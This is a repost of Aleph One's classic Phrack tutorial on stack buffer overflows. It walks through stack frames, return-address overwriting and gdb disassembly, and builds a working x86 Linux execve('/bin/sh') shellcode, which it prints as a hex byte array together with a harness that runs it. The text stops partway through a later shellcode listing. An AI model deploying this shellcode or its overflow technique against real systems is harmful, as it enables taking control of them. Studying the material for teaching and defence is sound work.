How Buffer Overflows Work


SUBMITTED BY: Guest

DATE: March 20, 2013, 3:11 p.m.

FORMAT: Text only

SIZE: 81.1 kB

HITS: 1129

  1. .oO Phrack 49 Oo.
  2. Volume Seven, Issue Forty-Nine
  3. File 14 of 16
  4. BugTraq, r00t, and Underground.Org
  5. bring you
  6. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  7. Smashing The Stack For Fun And Profit
  8. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  9. by Aleph One
  10. aleph1@underground.org
  11. `smash the stack` [C programming] n. On many C implementations
  12. it is possible to corrupt the execution stack by writing past
  13. the end of an array declared auto in a routine. Code that does
  14. this is said to smash the stack, and can cause return from the
  15. routine to jump to a random address. This can produce some of
  16. the most insidious data-dependent bugs known to mankind.
  17. Variants include trash the stack, scribble the stack, mangle
  18. the stack; the term mung the stack is not used, as this is
  19. never done intentionally. See spam; see also alias bug,
  20. fandango on core, memory leak, precedence lossage, overrun screw.
  21. Introduction
  22. ~~~~~~~~~~~~
  23. Over the last few months there has been a large increase of buffer
  24. overflow vulnerabilities being both discovered and exploited. Examples
  25. of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
  26. library, at, etc. This paper attempts to explain what buffer overflows
  27. are, and how their exploits work.
  28. Basic knowledge of assembly is required. An understanding of virtual
  29. memory concepts, and experience with gdb are very helpful but not necessary.
  30. We also assume we are working with an Intel x86 CPU, and that the operating
  31. system is Linux.
  32. Some basic definitions before we begin: A buffer is simply a contiguous
  33. block of computer memory that holds multiple instances of the same data
  34. type. C programmers normally associate with the word buffer arrays. Most
  35. commonly, character arrays. Arrays, like all variables in C, can be
  36. declared either static or dynamic. Static variables are allocated at load
  37. time on the data segment. Dynamic variables are allocated at run time on
  38. the stack. To overflow is to flow, or fill over the top, brims, or bounds.
  39. We will concern ourselves only with the overflow of dynamic buffers, otherwise
  40. known as stack-based buffer overflows.
  41. Process Memory Organization
  42. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  43. To understand what stack buffers are we must first understand how a
  44. process is organized in memory. Processes are divided into three regions:
  45. Text, Data, and Stack. We will concentrate on the stack region, but first
  46. a small overview of the other regions is in order.
  47. The text region is fixed by the program and includes code (instructions)
  48. and read-only data. This region corresponds to the text section of the
  49. executable file. This region is normally marked read-only and any attempt to
  50. write to it will result in a segmentation violation.
  51. The data region contains initialized and uninitialized data. Static
  52. variables are stored in this region. The data region corresponds to the
  53. data-bss sections of the executable file. Its size can be changed with the
  54. brk(2) system call. If the expansion of the bss data or the user stack
  55. exhausts available memory, the process is blocked and is rescheduled to
  56. run again with a larger memory space. New memory is added between the data
  57. and stack segments.
  58. /------------------\ lower
  59. | | memory
  60. | Text | addresses
  61. | |
  62. |------------------|
  63. | (Initialized) |
  64. | Data |
  65. | (Uninitialized) |
  66. |------------------|
  67. | |
  68. | Stack | higher
  69. | | memory
  70. \------------------/ addresses
  71. Fig. 1 Process Memory Regions
  72. What Is A Stack?
  73. ~~~~~~~~~~~~~~~~
  74. A stack is an abstract data type frequently used in computer science. A
  75. stack of objects has the property that the last object placed on the stack
  76. will be the first object removed. This property is commonly referred to as
  77. last in, first out queue, or a LIFO.
  78. Several operations are defined on stacks. Two of the most important are
  79. PUSH and POP. PUSH adds an element at the top of the stack. POP, in
  80. contrast, reduces the stack size by one by removing the last element at the
  81. top of the stack.
  82. Why Do We Use A Stack?
  83. ~~~~~~~~~~~~~~~~~~~~~~
  84. Modern computers are designed with the need of high-level languages in
  85. mind. The most important technique for structuring programs introduced by
  86. high-level languages is the procedure or function. From one point of view, a
  87. procedure call alters the flow of control just as a jump does, but unlike a
  88. jump, when finished performing its task, a function returns control to the
  89. statement or instruction following the call. This high-level abstraction
  90. is implemented with the help of the stack.
  91. The stack is also used to dynamically allocate the local variables used in
  92. functions, to pass parameters to the functions, and to return values from the
  93. function.
  94. The Stack Region
  95. ~~~~~~~~~~~~~~~~
  96. A stack is a contiguous block of memory containing data. A register called
  97. the stack pointer (SP) points to the top of the stack. The bottom of the
  98. stack is at a fixed address. Its size is dynamically adjusted by the kernel
  99. at run time. The CPU implements instructions to PUSH onto and POP off of the
  100. stack.
  101. The stack consists of logical stack frames that are pushed when calling a
  102. function and popped when returning. A stack frame contains the parameters to
  103. a function, its local variables, and the data necessary to recover the
  104. previous stack frame, including the value of the instruction pointer at the
  105. time of the function call.
  106. Depending on the implementation the stack will either grow down (towards
  107. lower memory addresses), or up. In our examples we'll use a stack that grows
  108. down. This is the way the stack grows on many computers including the Intel,
  109. Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
  110. implementation dependent. It may point to the last address on the stack, or
  111. to the next free available address after the stack. For our discussion we'll
  112. assume it points to the last address on the stack.
  113. In addition to the stack pointer, which points to the top of the stack
  114. (lowest numerical address), it is often convenient to have a frame pointer
  115. (FP) which points to a fixed location within a frame. Some texts also refer
  116. to it as a local base pointer (LB). In principle, local variables could be
  117. referenced by giving their offsets from SP. However, as words are pushed onto
  118. the stack and popped from the stack, these offsets change. Although in some
  119. cases the compiler can keep track of the number of words on the stack and
  120. thus correct the offsets, in some cases it cannot, and in all cases
  121. considerable administration is required. Futhermore, on some machines, such
  122. as Intel-based processors, accessing a variable at a known distance from SP
  123. requires multiple instructions.
  124. Consequently, many compilers use a second register, FP, for referencing
  125. both local variables and parameters because their distances from FP do
  126. not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
  127. purpose. On the Motorola CPUs, any address register except A7 (the stack
  128. pointer) will do. Because the way our stack grows, actual parameters have
  129. positive offsets and local variables have negative offsets from FP.
  130. The first thing a procedure must do when called is save the previous FP
  131. (so it can be restored at procedure exit). Then it copies SP into FP to
  132. create the new FP, and advances SP to reserve space for the local variables.
  133. This code is called the procedure prolog. Upon procedure exit, the stack
  134. must be cleaned up again, something called the procedure epilog. The Intel
  135. ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
  136. have been provided to do most of the procedure prolog and epilog work
  137. efficiently.
  138. Let us see what the stack looks like in a simple example:
  139. example1.c:
  140. ------------------------------------------------------------------------------
  141. void function(int a, int b, int c) {
  142. char buffer1[5];
  143. char buffer2[10];
  144. }
  145. void main() {
  146. function(1,2,3);
  147. }
  148. ------------------------------------------------------------------------------
  149. To understand what the program does to call function() we compile it with
  150. gcc using the -S switch to generate assembly code output:
  151. $ gcc -S -o example1.s example1.c
  152. By looking at the assembly language output we see that the call to
  153. function() is translated to:
  154. pushl $3
  155. pushl $2
  156. pushl $1
  157. call function
  158. This pushes the 3 arguments to function backwards into the stack, and
  159. calls function(). The instruction 'call' will push the instruction pointer
  160. (IP) onto the stack. We'll call the saved IP the return address (RET). The
  161. first thing done in function is the procedure prolog:
  162. pushl %ebp
  163. movl %esp,%ebp
  164. subl $20,%esp
  165. This pushes EBP, the frame pointer, onto the stack. It then copies the
  166. current SP onto EBP, making it the new FP pointer. We'll call the saved FP
  167. pointer SFP. It then allocates space for the local variables by subtracting
  168. their size from SP.
  169. We must remember that memory can only be addressed in multiples of the
  170. word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
  171. is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
  172. is going to take 12 bytes (3 words) of memory. That is why SP is being
  173. subtracted by 20. With that in mind our stack looks like this when
  174. function() is called (each space represents a byte):
  175. bottom of top of
  176. memory memory
  177. buffer2 buffer1 sfp ret a b c
  178. <------ [ ][ ][ ][ ][ ][ ][ ]
  179. top of bottom of
  180. stack stack
  181. Buffer Overflows
  182. ~~~~~~~~~~~~~~~~
  183. A buffer overflow is the result of stuffing more data into a buffer than
  184. it can handle. How can this often found programming error can be taken
  185. advantage to execute arbitrary code? Lets look at another example:
  186. example2.c
  187. ------------------------------------------------------------------------------
  188. void function(char *str) {
  189. char buffer[16];
  190. strcpy(buffer,str);
  191. }
  192. void main() {
  193. char large_string[256];
  194. int i;
  195. for( i = 0; i < 255; i++)
  196. large_string[i] = 'A';
  197. function(large_string);
  198. }
  199. ------------------------------------------------------------------------------
  200. This is program has a function with a typical buffer overflow coding
  201. error. The function copies a supplied string without bounds checking by
  202. using strcpy() instead of strncpy(). If you run this program you will get a
  203. segmentation violation. Lets see what its stack looks when we call function:
  204. bottom of top of
  205. memory memory
  206. buffer sfp ret *str
  207. <------ [ ][ ][ ][ ]
  208. top of bottom of
  209. stack stack
  210. What is going on here? Why do we get a segmentation violation? Simple.
  211. strcpy() is coping the contents of *str (larger_string[]) into buffer[]
  212. until a null character is found on the string. As we can see buffer[] is
  213. much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff
  214. it with 256 bytes. This means that all 250 bytes after buffer in the stack
  215. are being overwritten. This includes the SFP, RET, and even *str! We had
  216. filled large_string with the character 'A'. It's hex character value
  217. is 0x41. That means that the return address is now 0x41414141. This is
  218. outside of the process address space. That is why when the function returns
  219. and tries to read the next instruction from that address you get a
  220. segmentation violation.
  221. So a buffer overflow allows us to change the return address of a function.
  222. In this way we can change the flow of execution of the program. Lets go back
  223. to our first example and recall what the stack looked like:
  224. bottom of top of
  225. memory memory
  226. buffer2 buffer1 sfp ret a b c
  227. <------ [ ][ ][ ][ ][ ][ ][ ]
  228. top of bottom of
  229. stack stack
  230. Lets try to modify our first example so that it overwrites the return
  231. address, and demonstrate how we can make it execute arbitrary code. Just
  232. before buffer1[] on the stack is SFP, and before it, the return address.
  233. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is
  234. really 2 word so its 8 bytes long. So the return address is 12 bytes from
  235. the start of buffer1[]. We'll modify the return value in such a way that the
  236. assignment statement 'x = 1;' after the function call will be jumped. To do
  237. so we add 8 bytes to the return address. Our code is now:
  238. example3.c:
  239. ------------------------------------------------------------------------------
  240. void function(int a, int b, int c) {
  241. char buffer1[5];
  242. char buffer2[10];
  243. int *ret;
  244. ret = buffer1 + 12;
  245. (*ret) += 8;
  246. }
  247. void main() {
  248. int x;
  249. x = 0;
  250. function(1,2,3);
  251. x = 1;
  252. printf("%d\n",x);
  253. }
  254. ------------------------------------------------------------------------------
  255. What we have done is add 12 to buffer1[]'s address. This new address is
  256. where the return address is stored. We want to skip pass the assignment to
  257. the printf call. How did we know to add 8 to the return address? We used a
  258. test value first (for example 1), compiled the program, and then started gdb:
  259. ------------------------------------------------------------------------------
  260. [aleph1]$ gdb example3
  261. GDB is free software and you are welcome to distribute copies of it
  262. under certain conditions; type "show copying" to see the conditions.
  263. There is absolutely no warranty for GDB; type "show warranty" for details.
  264. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  265. (no debugging symbols found)...
  266. (gdb) disassemble main
  267. Dump of assembler code for function main:
  268. 0x8000490 <main>: pushl %ebp
  269. 0x8000491 <main+1>: movl %esp,%ebp
  270. 0x8000493 <main+3>: subl $0x4,%esp
  271. 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
  272. 0x800049d <main+13>: pushl $0x3
  273. 0x800049f <main+15>: pushl $0x2
  274. 0x80004a1 <main+17>: pushl $0x1
  275. 0x80004a3 <main+19>: call 0x8000470 <function>
  276. 0x80004a8 <main+24>: addl $0xc,%esp
  277. 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
  278. 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
  279. 0x80004b5 <main+37>: pushl %eax
  280. 0x80004b6 <main+38>: pushl $0x80004f8
  281. 0x80004bb <main+43>: call 0x8000378 <printf>
  282. 0x80004c0 <main+48>: addl $0x8,%esp
  283. 0x80004c3 <main+51>: movl %ebp,%esp
  284. 0x80004c5 <main+53>: popl %ebp
  285. 0x80004c6 <main+54>: ret
  286. 0x80004c7 <main+55>: nop
  287. ------------------------------------------------------------------------------
  288. We can see that when calling function() the RET will be 0x8004a8, and we
  289. want to jump past the assignment at 0x80004ab. The next instruction we want
  290. to execute is the at 0x8004b2. A little math tells us the distance is 8
  291. bytes.
  292. Shell Code
  293. ~~~~~~~~~~
  294. So now that we know that we can modify the return address and the flow of
  295. execution, what program do we want to execute? In most cases we'll simply
  296. want the program to spawn a shell. From the shell we can then issue other
  297. commands as we wish. But what if there is no such code in the program we
  298. are trying to exploit? How can we place arbitrary instruction into its
  299. address space? The answer is to place the code with are trying to execute in
  300. the buffer we are overflowing, and overwrite the return address so it points
  301. back into the buffer. Assuming the stack starts at address 0xFF, and that S
  302. stands for the code we want to execute the stack would then look like this:
  303. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  304. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  305. buffer sfp ret a b c
  306. <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
  307. ^ |
  308. |____________________________|
  309. top of bottom of
  310. stack stack
  311. The code to spawn a shell in C looks like:
  312. shellcode.c
  313. -----------------------------------------------------------------------------
  314. #include <stdio.h>
  315. void main() {
  316. char *name[2];
  317. name[0] = "/bin/sh";
  318. name[1] = NULL;
  319. execve(name[0], name, NULL);
  320. }
  321. ------------------------------------------------------------------------------
  322. To find out what does it looks like in assembly we compile it, and start
  323. up gdb. Remember to use the -static flag. Otherwise the actual code the
  324. for the execve system call will not be included. Instead there will be a
  325. reference to dynamic C library that would normally would be linked in at
  326. load time.
  327. ------------------------------------------------------------------------------
  328. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
  329. [aleph1]$ gdb shellcode
  330. GDB is free software and you are welcome to distribute copies of it
  331. under certain conditions; type "show copying" to see the conditions.
  332. There is absolutely no warranty for GDB; type "show warranty" for details.
  333. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  334. (gdb) disassemble main
  335. Dump of assembler code for function main:
  336. 0x8000130 <main>: pushl %ebp
  337. 0x8000131 <main+1>: movl %esp,%ebp
  338. 0x8000133 <main+3>: subl $0x8,%esp
  339. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
  340. 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
  341. 0x8000144 <main+20>: pushl $0x0
  342. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
  343. 0x8000149 <main+25>: pushl %eax
  344. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
  345. 0x800014d <main+29>: pushl %eax
  346. 0x800014e <main+30>: call 0x80002bc <__execve>
  347. 0x8000153 <main+35>: addl $0xc,%esp
  348. 0x8000156 <main+38>: movl %ebp,%esp
  349. 0x8000158 <main+40>: popl %ebp
  350. 0x8000159 <main+41>: ret
  351. End of assembler dump.
  352. (gdb) disassemble __execve
  353. Dump of assembler code for function __execve:
  354. 0x80002bc <__execve>: pushl %ebp
  355. 0x80002bd <__execve+1>: movl %esp,%ebp
  356. 0x80002bf <__execve+3>: pushl %ebx
  357. 0x80002c0 <__execve+4>: movl $0xb,%eax
  358. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  359. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  360. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  361. 0x80002ce <__execve+18>: int $0x80
  362. 0x80002d0 <__execve+20>: movl %eax,%edx
  363. 0x80002d2 <__execve+22>: testl %edx,%edx
  364. 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
  365. 0x80002d6 <__execve+26>: negl %edx
  366. 0x80002d8 <__execve+28>: pushl %edx
  367. 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
  368. 0x80002de <__execve+34>: popl %edx
  369. 0x80002df <__execve+35>: movl %edx,(%eax)
  370. 0x80002e1 <__execve+37>: movl $0xffffffff,%eax
  371. 0x80002e6 <__execve+42>: popl %ebx
  372. 0x80002e7 <__execve+43>: movl %ebp,%esp
  373. 0x80002e9 <__execve+45>: popl %ebp
  374. 0x80002ea <__execve+46>: ret
  375. 0x80002eb <__execve+47>: nop
  376. End of assembler dump.
  377. ------------------------------------------------------------------------------
  378. Lets try to understand what is going on here. We'll start by studying main:
  379. ------------------------------------------------------------------------------
  380. 0x8000130 <main>: pushl %ebp
  381. 0x8000131 <main+1>: movl %esp,%ebp
  382. 0x8000133 <main+3>: subl $0x8,%esp
  383. This is the procedure prelude. It first saves the old frame pointer,
  384. makes the current stack pointer the new frame pointer, and leaves
  385. space for the local variables. In this case its:
  386. char *name[2];
  387. or 2 pointers to a char. Pointers are a word long, so it leaves
  388. space for two words (8 bytes).
  389. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
  390. We copy the value 0x80027b8 (the address of the string "/bin/sh")
  391. into the first pointer of name[]. This is equivalent to:
  392. name[0] = "/bin/sh";
  393. 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
  394. We copy the value 0x0 (NULL) into the seconds pointer of name[].
  395. This is equivalent to:
  396. name[1] = NULL;
  397. The actual call to execve() starts here.
  398. 0x8000144 <main+20>: pushl $0x0
  399. We push the arguments to execve() in reverse order onto the stack.
  400. We start with NULL.
  401. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
  402. We load the address of name[] into the EAX register.
  403. 0x8000149 <main+25>: pushl %eax
  404. We push the address of name[] onto the stack.
  405. 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
  406. We load the address of the string "/bin/sh" into the EAX register.
  407. 0x800014d <main+29>: pushl %eax
  408. We push the address of the string "/bin/sh" onto the stack.
  409. 0x800014e <main+30>: call 0x80002bc <__execve>
  410. Call the library procedure execve(). The call instruction pushes the
  411. IP onto the stack.
  412. ------------------------------------------------------------------------------
  413. Now execve(). Keep in mind we are using a Intel based Linux system. The
  414. syscall details will change from OS to OS, and from CPU to CPU. Some will
  415. pass the arguments on the stack, others on the registers. Some use a software
  416. interrupt to jump to kernel mode, others use a far call. Linux passes its
  417. arguments to the system call on the registers, and uses a software interrupt
  418. to jump into kernel mode.
  419. ------------------------------------------------------------------------------
  420. 0x80002bc <__execve>: pushl %ebp
  421. 0x80002bd <__execve+1>: movl %esp,%ebp
  422. 0x80002bf <__execve+3>: pushl %ebx
  423. The procedure prelude.
  424. 0x80002c0 <__execve+4>: movl $0xb,%eax
  425. Copy 0xb (11 decimal) onto the stack. This is the index into the
  426. syscall table. 11 is execve.
  427. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  428. Copy the address of "/bin/sh" into EBX.
  429. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  430. Copy the address of name[] into ECX.
  431. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  432. Copy the address of the null pointer into %edx.
  433. 0x80002ce <__execve+18>: int $0x80
  434. Change into kernel mode.
  435. ------------------------------------------------------------------------------
  436. So as we can see there is not much to the execve() system call. All we need
  437. to do is:
  438. a) Have the null terminated string "/bin/sh" somewhere in memory.
  439. b) Have the address of the string "/bin/sh" somewhere in memory
  440. followed by a null long word.
  441. c) Copy 0xb into the EAX register.
  442. d) Copy the address of the address of the string "/bin/sh" into the
  443. EBX register.
  444. e) Copy the address of the string "/bin/sh" into the ECX register.
  445. f) Copy the address of the null long word into the EDX register.
  446. g) Execute the int $0x80 instruction.
  447. But what if the execve() call fails for some reason? The program will
  448. continue fetching instructions from the stack, which may contain random data!
  449. The program will most likely core dump. We want the program to exit cleanly
  450. if the execve syscall fails. To accomplish this we must then add a exit
  451. syscall after the execve syscall. What does the exit syscall looks like?
  452. exit.c
  453. ------------------------------------------------------------------------------
  454. #include <stdlib.h>
  455. void main() {
  456. exit(0);
  457. }
  458. ------------------------------------------------------------------------------
  459. ------------------------------------------------------------------------------
  460. [aleph1]$ gcc -o exit -static exit.c
  461. [aleph1]$ gdb exit
  462. GDB is free software and you are welcome to distribute copies of it
  463. under certain conditions; type "show copying" to see the conditions.
  464. There is absolutely no warranty for GDB; type "show warranty" for details.
  465. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  466. (no debugging symbols found)...
  467. (gdb) disassemble _exit
  468. Dump of assembler code for function _exit:
  469. 0x800034c <_exit>: pushl %ebp
  470. 0x800034d <_exit+1>: movl %esp,%ebp
  471. 0x800034f <_exit+3>: pushl %ebx
  472. 0x8000350 <_exit+4>: movl $0x1,%eax
  473. 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
  474. 0x8000358 <_exit+12>: int $0x80
  475. 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
  476. 0x800035d <_exit+17>: movl %ebp,%esp
  477. 0x800035f <_exit+19>: popl %ebp
  478. 0x8000360 <_exit+20>: ret
  479. 0x8000361 <_exit+21>: nop
  480. 0x8000362 <_exit+22>: nop
  481. 0x8000363 <_exit+23>: nop
  482. End of assembler dump.
  483. ------------------------------------------------------------------------------
  484. The exit syscall will place 0x1 in EAX, place the exit code in EBX,
  485. and execute "int 0x80". That's it. Most applications return 0 on exit to
  486. indicate no errors. We will place 0 in EBX. Our list of steps is now:
  487. a) Have the null terminated string "/bin/sh" somewhere in memory.
  488. b) Have the address of the string "/bin/sh" somewhere in memory
  489. followed by a null long word.
  490. c) Copy 0xb into the EAX register.
  491. d) Copy the address of the address of the string "/bin/sh" into the
  492. EBX register.
  493. e) Copy the address of the string "/bin/sh" into the ECX register.
  494. f) Copy the address of the null long word into the EDX register.
  495. g) Execute the int $0x80 instruction.
  496. h) Copy 0x1 into the EAX register.
  497. i) Copy 0x0 into the EBX register.
  498. j) Execute the int $0x80 instruction.
  499. Trying to put this together in assembly language, placing the string
  500. after the code, and remembering we will place the address of the string,
  501. and null word after the array, we have:
  502. ------------------------------------------------------------------------------
  503. movl string_addr,string_addr_addr
  504. movb $0x0,null_byte_addr
  505. movl $0x0,null_addr
  506. movl $0xb,%eax
  507. movl string_addr,%ebx
  508. leal string_addr,%ecx
  509. leal null_string,%edx
  510. int $0x80
  511. movl $0x1, %eax
  512. movl $0x0, %ebx
  513. int $0x80
  514. /bin/sh string goes here.
  515. ------------------------------------------------------------------------------
  516. The problem is that we don't know where in the memory space of the
  517. program we are trying to exploit the code (and the string that follows
  518. it) will be placed. One way around it is to use a JMP, and a CALL
  519. instruction. The JMP and CALL instructions can use IP relative addressing,
  520. which means we can jump to an offset from the current IP without needing
  521. to know the exact address of where in memory we want to jump to. If we
  522. place a CALL instruction right before the "/bin/sh" string, and a JMP
  523. instruction to it, the strings address will be pushed onto the stack as
  524. the return address when CALL is executed. All we need then is to copy the
  525. return address into a register. The CALL instruction can simply call the
  526. start of our code above. Assuming now that J stands for the JMP instruction,
  527. C for the CALL instruction, and s for the string, the execution flow would
  528. now be:
  529. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  530. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  531. buffer sfp ret a b c
  532. <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
  533. ^|^ ^| |
  534. |||_____________||____________| (1)
  535. (2) ||_____________||
  536. |______________| (3)
  537. top of bottom of
  538. stack stack
  539. With this modifications, using indexed addressing, and writing down how
  540. many bytes each instruction takes our code looks like:
  541. ------------------------------------------------------------------------------
  542. jmp offset-to-call # 2 bytes
  543. popl %esi # 1 byte
  544. movl %esi,array-offset(%esi) # 3 bytes
  545. movb $0x0,nullbyteoffset(%esi)# 4 bytes
  546. movl $0x0,null-offset(%esi) # 7 bytes
  547. movl $0xb,%eax # 5 bytes
  548. movl %esi,%ebx # 2 bytes
  549. leal array-offset,(%esi),%ecx # 3 bytes
  550. leal null-offset(%esi),%edx # 3 bytes
  551. int $0x80 # 2 bytes
  552. movl $0x1, %eax # 5 bytes
  553. movl $0x0, %ebx # 5 bytes
  554. int $0x80 # 2 bytes
  555. call offset-to-popl # 5 bytes
  556. /bin/sh string goes here.
  557. ------------------------------------------------------------------------------
  558. Calculating the offsets from jmp to call, from call to popl, from
  559. the string address to the array, and from the string address to the null
  560. long word, we now have:
  561. ------------------------------------------------------------------------------
  562. jmp 0x26 # 2 bytes
  563. popl %esi # 1 byte
  564. movl %esi,0x8(%esi) # 3 bytes
  565. movb $0x0,0x7(%esi) # 4 bytes
  566. movl $0x0,0xc(%esi) # 7 bytes
  567. movl $0xb,%eax # 5 bytes
  568. movl %esi,%ebx # 2 bytes
  569. leal 0x8(%esi),%ecx # 3 bytes
  570. leal 0xc(%esi),%edx # 3 bytes
  571. int $0x80 # 2 bytes
  572. movl $0x1, %eax # 5 bytes
  573. movl $0x0, %ebx # 5 bytes
  574. int $0x80 # 2 bytes
  575. call -0x2b # 5 bytes
  576. .string \"/bin/sh\" # 8 bytes
  577. ------------------------------------------------------------------------------
  578. Looks good. To make sure it works correctly we must compile it and run it.
  579. But there is a problem. Our code modifies itself, but most operating system
  580. mark code pages read-only. To get around this restriction we must place the
  581. code we wish to execute in the stack or data segment, and transfer control
  582. to it. To do so we will place our code in a global array in the data
  583. segment. We need first a hex representation of the binary code. Lets
  584. compile it first, and then use gdb to obtain it.
  585. shellcodeasm.c
  586. ------------------------------------------------------------------------------
  587. void main() {
  588. __asm__("
  589. jmp 0x2a # 3 bytes
  590. popl %esi # 1 byte
  591. movl %esi,0x8(%esi) # 3 bytes
  592. movb $0x0,0x7(%esi) # 4 bytes
  593. movl $0x0,0xc(%esi) # 7 bytes
  594. movl $0xb,%eax # 5 bytes
  595. movl %esi,%ebx # 2 bytes
  596. leal 0x8(%esi),%ecx # 3 bytes
  597. leal 0xc(%esi),%edx # 3 bytes
  598. int $0x80 # 2 bytes
  599. movl $0x1, %eax # 5 bytes
  600. movl $0x0, %ebx # 5 bytes
  601. int $0x80 # 2 bytes
  602. call -0x2f # 5 bytes
  603. .string \"/bin/sh\" # 8 bytes
  604. ");
  605. }
  606. ------------------------------------------------------------------------------
  607. ------------------------------------------------------------------------------
  608. [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
  609. [aleph1]$ gdb shellcodeasm
  610. GDB is free software and you are welcome to distribute copies of it
  611. under certain conditions; type "show copying" to see the conditions.
  612. There is absolutely no warranty for GDB; type "show warranty" for details.
  613. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  614. (gdb) disassemble main
  615. Dump of assembler code for function main:
  616. 0x8000130 <main>: pushl %ebp
  617. 0x8000131 <main+1>: movl %esp,%ebp
  618. 0x8000133 <main+3>: jmp 0x800015f <main+47>
  619. 0x8000135 <main+5>: popl %esi
  620. 0x8000136 <main+6>: movl %esi,0x8(%esi)
  621. 0x8000139 <main+9>: movb $0x0,0x7(%esi)
  622. 0x800013d <main+13>: movl $0x0,0xc(%esi)
  623. 0x8000144 <main+20>: movl $0xb,%eax
  624. 0x8000149 <main+25>: movl %esi,%ebx
  625. 0x800014b <main+27>: leal 0x8(%esi),%ecx
  626. 0x800014e <main+30>: leal 0xc(%esi),%edx
  627. 0x8000151 <main+33>: int $0x80
  628. 0x8000153 <main+35>: movl $0x1,%eax
  629. 0x8000158 <main+40>: movl $0x0,%ebx
  630. 0x800015d <main+45>: int $0x80
  631. 0x800015f <main+47>: call 0x8000135 <main+5>
  632. 0x8000164 <main+52>: das
  633. 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
  634. 0x8000168 <main+56>: das
  635. 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
  636. 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
  637. End of assembler dump.
  638. (gdb) x/bx main+3
  639. 0x8000133 <main+3>: 0xeb
  640. (gdb)
  641. 0x8000134 <main+4>: 0x2a
  642. (gdb)
  643. .
  644. .
  645. .
  646. ------------------------------------------------------------------------------
  647. testsc.c
  648. ------------------------------------------------------------------------------
  649. char shellcode[] =
  650. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  651. "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  652. "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  653. "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  654. void main() {
  655. int *ret;
  656. ret = (int *)&ret + 2;
  657. (*ret) = (int)shellcode;
  658. }
  659. ------------------------------------------------------------------------------
  660. ------------------------------------------------------------------------------
  661. [aleph1]$ gcc -o testsc testsc.c
  662. [aleph1]$ ./testsc
  663. $ exit
  664. [aleph1]$
  665. ------------------------------------------------------------------------------
  666. It works! But there is an obstacle. In most cases we'll be trying to
  667. overflow a character buffer. As such any null bytes in our shellcode will be
  668. considered the end of the string, and the copy will be terminated. There must
  669. be no null bytes in the shellcode for the exploit to work. Let's try to
  670. eliminate the bytes (and at the same time make it smaller).
  671. Problem instruction: Substitute with:
  672. --------------------------------------------------------
  673. movb $0x0,0x7(%esi) xorl %eax,%eax
  674. molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
  675. movl %eax,0xc(%esi)
  676. --------------------------------------------------------
  677. movl $0xb,%eax movb $0xb,%al
  678. --------------------------------------------------------
  679. movl $0x1, %eax xorl %ebx,%ebx
  680. movl $0x0, %ebx movl %ebx,%eax
  681. inc %eax
  682. --------------------------------------------------------
  683. Our improved code:
  684. shellcodeasm2.c
  685. ------------------------------------------------------------------------------
  686. void main() {
  687. __asm__("
  688. jmp 0x1f # 2 bytes
  689. popl %esi # 1 byte
  690. movl %esi,0x8(%esi) # 3 bytes
  691. xorl %eax,%eax # 2 bytes
  692. movb %eax,0x7(%esi) # 3 bytes
  693. movl %eax,0xc(%esi) # 3 bytes
  694. movb $0xb,%al # 2 bytes
  695. movl %esi,%ebx # 2 bytes
  696. leal 0x8(%esi),%ecx # 3 bytes
